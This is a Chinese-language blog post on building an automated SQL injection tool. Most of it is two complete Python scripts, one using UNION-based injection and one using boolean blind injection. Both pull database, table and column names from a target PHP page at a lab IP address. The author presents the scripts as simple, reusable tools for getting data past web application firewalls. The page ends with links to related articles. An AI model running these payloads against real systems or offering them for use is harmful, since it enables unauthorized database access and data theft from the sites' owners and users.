如何编写一个SQL注入工具

简介: 0x01  前言   一直在思考如何编写一个自动化注入工具,这款工具不用太复杂,但是可以用最简单、最直接的方式来获取数据库信息,根据自定义构造的payload来绕过防护,这样子就可以。 0x02 SQL注入工具 A、联合查询 union select 实现起来最为简单,报错注入的实现方式也基本一致,主要思路:获取所有数据库名--选择数据库--查看这个数据库下所有表---选择表--查询这个表下所有列名。

0x01  前言

  一直在思考如何编写一个自动化注入工具,这款工具不用太复杂,但是可以用最简单、最直接的方式来获取数据库信息,根据自定义构造的payload来绕过防护,这样子就可以。

0x02 SQL注入工具

A、联合查询

union select 实现起来最为简单,报错注入的实现方式也基本一致,主要思路:获取所有数据库名--选择数据库--查看这个数据库下所有表---选择表--查询这个表下所有列名。

 代码详情:

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import requests
import urllib
import re
values={}

def get(url,values):
    data = urllib.urlencode(values)
    geturl = url+'?'+data
    response = requests.get(geturl)
    result=response.content
    find_list=re.findall(r"qwe~(.+?)~qwe", result)
    if len(find_list)>0:
        return find_list

def get_database_name(url):
    values['id'] = "1 and 1=2 union select 1,concat(0x7177657E,schema_name,0x7E717765) from INFORMATION_SCHEMA.SCHEMATA" 
    name_list=get(url,values)
    print 'The databases:'
    for i in name_list:
        print i+" ",
    print "\n"
def table_name(url):
    database_name=raw_input('please input your database:')
    values['id'] = "1  union select 1,concat(0x7177657E,table_name,0x7E717765) from information_schema.tables where table_schema="+"'"+database_name+"'"
    name_list=get(url,values)
    print 'The table is :'
    for i in name_list:
        print i+" ",
    print "\n"
def column_name(url):
    table_name=raw_input('please input your table:')
    values['id'] = "1   union select 1,concat(0x7177657E,column_name,0x7E717765) from information_schema.columns where table_name="+"'"+table_name+"'"
    name_list=get(url,values)
    print 'The column is :'
    for i in name_list:
        print i+" ",
if __name__ == '__main__':
    url='http://192.168.106.130/config/sql.php'
    get_database_name(url)
    table_name(url)
    column_name(url)
View Code

运行效果:

 B、盲注

  盲注的脚本,但总感觉代码不过简洁,越简单越好,可以把局部代码直接拿出来用,简单修改payload就可以获取数据,基于布尔盲注,GET,写的一个简单的注入脚本。

主要思路:获取当前数据库名--选择数据库--获取这个数据库有几个表--依次获取每个表的长度--依次获取获取表名--依次获取每个表的长度、列名。

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import requests
import urllib
import time
start_time = time.time()
def database_length(url):
    values={}
    for i in range(1,100):
        values['id'] = "1 and (select length(database()))=%s" %i
        data = urllib.urlencode(values)
        geturl = url+'?'+data
        response = requests.get(geturl)
        if response.content.find('qwertyasd')>0:
            return i

def database_name(url):
    payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
    values={}
    databasename= ''
    aa = 15
    aa = database_length(url)
    for i in range(1, aa+1):
        for payload in payloads:
            values['id'] = "1 and ascii(substring(database(),%s,1))=%s " %(i,ord(payload))
            data = urllib.urlencode(values)
            geturl = url+'?'+data
            response = requests.get(geturl)
            if response.content.find('qwertyasd')>0:
                databasename += payload
    return databasename
#print database_name('http://192.168.125.129/config/sql.php')

    
    
def table_count(url,database):
    values={}
    for i in range(1,100):
        values['id'] = "1 and (select count(table_name) from information_schema.tables where table_schema="+"'"+database+"')"+"=%s" %i
        data = urllib.urlencode(values)
        geturl = url+'?'+data
        response = requests.get(geturl)
        if response.content.find('qwertyasd')>0:
            return i
def table_length(url,a,database):
    values={} 
    for i in range(1,100):
        values['id'] = "1 and (select length(table_name) from information_schema.tables where table_schema="+"'"+database+"'"+" limit %s,1)=%s" %(a,i)
        data = urllib.urlencode(values)
        geturl = url+'?'+data
        response = requests.get(geturl)
        if response.content.find('qwertyasd')>0:
            return i
def table_name(url,database):
    payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
    values={}
    table_name=[]
    bb = table_count(url,database)
    for i in range(0,bb+1):
        user= ''
        cc=table_length(url,i,database)
        if cc==None:
            break
        for j in range(0,cc+1):
            for payload in payloads:
                values['id'] = "1 and ascii(substring((select table_name from information_schema.tables where table_schema="+"'"+database+"'"+" limit %s,1),%s,1))=%s " %(i,j,ord(payload))
                data = urllib.urlencode(values)
                geturl = url+'?'+data
                response = requests.get(geturl)
                if response.content.find('qwertyasd')>0:
                    user += payload
                    #print payload
        table_name.append(user)
    return table_name    
#print table_name('http://192.168.125.129/config/sql.php','test')


def column_count(url,table_name):
    values={}
    for i in range(1,100):
        values['id'] = "1 and (select count(column_name) from information_schema.columns where table_name="+"'"+table_name+"'"+")=%s" %i
        data = urllib.urlencode(values)
        geturl = url+'?'+data
        response = requests.get(geturl)
        if response.content.find('qwertyasd')>0:
            return i
def column_length(num,url,table_name):
    values={}
    for i in range(1,100):
        limit = " limit %s,1)=%s" %(num,i)
        values['id'] = "1 and (select length(column_name) from information_schema.columns where table_name="+"'"+table_name+"'"+limit
        data = urllib.urlencode(values)
        geturl = url+'?'+data
        response = requests.get(geturl)
        if response.content.find('qwertyasd')>0:
            return i
def column_name(url,table_name):
    payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
    values={}
    column_name=[]
    dd=column_count(url,table_name)
    for i in range(0,dd+1):
        user= ''
        bb=column_length(i,url,table_name)
        if bb==None:
            break
        for j in range(0,bb+1):
            for payload in payloads:
                limit=" limit %s,1),%s,1))=%s" %(i,j,ord(payload))
                values['id'] = "1 and ascii(substring((select column_name from information_schema.columns where table_name="+"'"+table_name+"'"+limit
                data = urllib.urlencode(values)
                geturl = url+'?'+data
                response = requests.get(geturl)
                if response.content.find('qwertyasd')>0:
                    user += payload
        column_name.append(user)
    return column_name
#print column_name('http://192.168.125.129/config/sql.php','admin')


if __name__ == '__main__':
    url='http://192.168.125.129/config/sql.php'
    databasename=database_name(url)
    print "The current database:"+databasename
    

    database=raw_input("Please input your databasename: ")
    tables=table_name(url,database)
    print database+" have the tables:",
    print tables

    for table in tables:
        print table+" have the columns:"
        print column_name(url,table)
    print 'Use for: %d second' % (time.time() - start_time)    
View Code

运行效果:

0x03 END

  通过编写简单的SQL注入脚本来获取数据,脚本实现得很简单,扩展空间还很大,只为以最简单的方式来Bypass WAF数据获取。 

目录
相关文章
|
2月前
|
SQL 数据可视化 安全
微软SQL Server可视化工具与技巧
微软SQL Server不仅提供了强大的数据库管理功能,还集成了多种可视化工具,帮助用户更直观地理解和管理数据
|
2月前
|
SQL 数据可视化 关系型数据库
【数据库工具】DBeaver:一款免费的通用数据库工具和 SQL 客户端
【数据库工具】DBeaver:一款免费的通用数据库工具和 SQL 客户端
136 1
|
3月前
|
SQL 安全 数据库
惊!Python Web安全黑洞大曝光:SQL注入、XSS、CSRF,你中招了吗?
在数字化时代,Web应用的安全性至关重要。许多Python开发者在追求功能时,常忽视SQL注入、XSS和CSRF等安全威胁。本文将深入剖析这些风险并提供最佳实践:使用参数化查询预防SQL注入;通过HTML转义阻止XSS攻击;在表单中加入CSRF令牌增强安全性。遵循这些方法,可有效提升Web应用的安全防护水平,保护用户数据与隐私。安全需持续关注与改进,每个细节都至关重要。
140 5
|
3月前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,却也面临着SQL注入、XSS与CSRF等安全威胁。本文将剖析这些常见攻击手段,并提供示例代码,展示如何利用参数化查询、HTML转义及CSRF令牌等技术构建坚固防线,确保Python Web应用的安全性。安全之路永无止境,唯有不断改进方能应对挑战。
75 5
|
3月前
|
SQL 安全 数据安全/隐私保护
Python Web安全大挑战:面对SQL注入、XSS、CSRF,你准备好了吗?
在构建Python Web应用时,安全性至关重要。本文通过三个真实案例,探讨了如何防范SQL注入、XSS和CSRF攻击。首先,通过参数化查询替代字符串拼接,防止SQL注入;其次,利用HTML转义机制,避免XSS攻击;最后,采用CSRF令牌验证,保护用户免受CSRF攻击。这些策略能显著增强应用的安全性,帮助开发者应对复杂的网络威胁。安全是一个持续的过程,需不断学习新知识以抵御不断变化的威胁。
126 1
|
3月前
|
SQL 安全 数据库
Python Web开发者必看!SQL注入、XSS、CSRF全面解析,守护你的网站安全!
在Python Web开发中,构建安全应用至关重要。本文通过问答形式,详细解析了三种常见Web安全威胁——SQL注入、XSS和CSRF,并提供了实用的防御策略及示例代码。针对SQL注入,建议使用参数化查询;对于XSS,需对输出进行HTML编码;而防范CSRF,则应利用CSRF令牌。通过这些措施,帮助开发者有效提升应用安全性,确保网站稳定运行。
51 1
|
3月前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,但安全挑战不容小觑。本文剖析Python Web应用中的三大安全威胁:SQL注入、XSS及CSRF,并提供防御策略。通过示例代码展示如何利用参数化查询、HTML转义与CSRF令牌构建安全防线,助您打造更安全的应用。安全是一场持久战,需不断改进优化。
54 3
|
3月前
|
SQL 安全 数据库
从入门到精通:Python Web安全守护指南,SQL注入、XSS、CSRF全防御!
【9月更文挑战第13天】在开发Python Web应用时,安全性至关重要。本文通过问答形式,详细介绍如何防范SQL注入、XSS及CSRF等常见威胁。通过使用参数化查询、HTML转义和CSRF令牌等技术,确保应用安全。附带示例代码,帮助读者从入门到精通Python Web安全。
94 6
|
3月前
|
SQL 安全 JavaScript
告别Web安全小白!Python实战指南:抵御SQL注入、XSS、CSRF的秘密武器!
【9月更文挑战第12天】在Web开发中,安全漏洞如同暗礁,尤其对初学者而言,SQL注入、跨站脚本(XSS)和跨站请求伪造(CSRF)是常见挑战。本文通过实战案例,展示如何利用Python应对这些威胁。首先,通过参数化查询防止SQL注入;其次,借助Jinja2模板引擎自动转义机制抵御XSS攻击;最后,使用Flask-WTF库生成和验证CSRF令牌,确保转账功能安全。掌握这些技巧,助你构建更安全的Web应用。
58 5